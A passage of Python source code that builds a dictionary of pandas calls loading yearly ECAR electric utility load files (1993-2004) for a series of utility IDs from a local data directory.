1997 : pd.read_fwf('%s/ecar/1997/BREC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/BREC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/BREC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/BREC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/BREC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/BREC02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/BREC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/BREC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
7004 : {
1994 : pd.read_fwf('%s/ecar/1994/BPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/BPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/BPI00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/BPI01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/BPI02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/BPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/BPI04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
3755 : {
1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/CEI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
3542 : {
1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/CIN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/CIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/CIN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/CIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/CIN00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/CIN01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/CIN02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/CIN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/CIN04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
4254 : {
1993 : pd.read_fwf('%s/ecar/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/CP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/CP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
4922 : {
1993 : pd.read_fwf('%s/ecar/1993/DPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/DPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/DPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/DPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/DPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/DPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/DPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/DPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/DPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/DPL02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/DPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/DPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
5109 : {
1993 : pd.read_fwf('%s/ecar/1993/DECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/DECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/DECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/DECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/DECO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/DECO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/DECO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/DECO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/DECO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/DECO02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/DECO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/DECO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
5487 : {
1993 : pd.read_fwf('%s/ecar/1993/DLCO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/DLCO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/DLCO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/DLCO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/DLCO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/DLCO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/DLCO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/DLCO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/DLCO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/DLCO02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/DLCO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/DLCO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
5580 : {
1993 : pd.read_fwf('%s/ecar/1993/EKPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/EKPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/EKPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/EKPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/EKPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/EKPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/EKPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/EKPC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/EKPC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/EKPC02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/EKPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/EKPC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9267 : {
1993 : pd.read_fwf('%s/ecar/1993/HEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/HEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/HEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/HEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/HEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/HEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/HEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/HEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/HEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/HEC02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/HEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/HEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9273 : {
1993 : pd.read_fwf('%s/ecar/1993/IPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/IPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/IPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/IPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/IPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/IPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/IPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/IPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/IPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/IPL02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/IPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/IPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
10171 : {
1993 : pd.read_fwf('%s/ecar/1993/KUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/KUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/KUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/KUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/KUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
11249 : {
1993 : pd.read_fwf('%s/ecar/1993/LGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/LGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/LGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/LGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/LGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/LGEE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/LGEE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/LGEE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/LGEE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/LGEE02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/LGEE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/LGEE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
13756 : {
1993 : pd.read_fwf('%s/ecar/1993/NIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/NIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/NIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
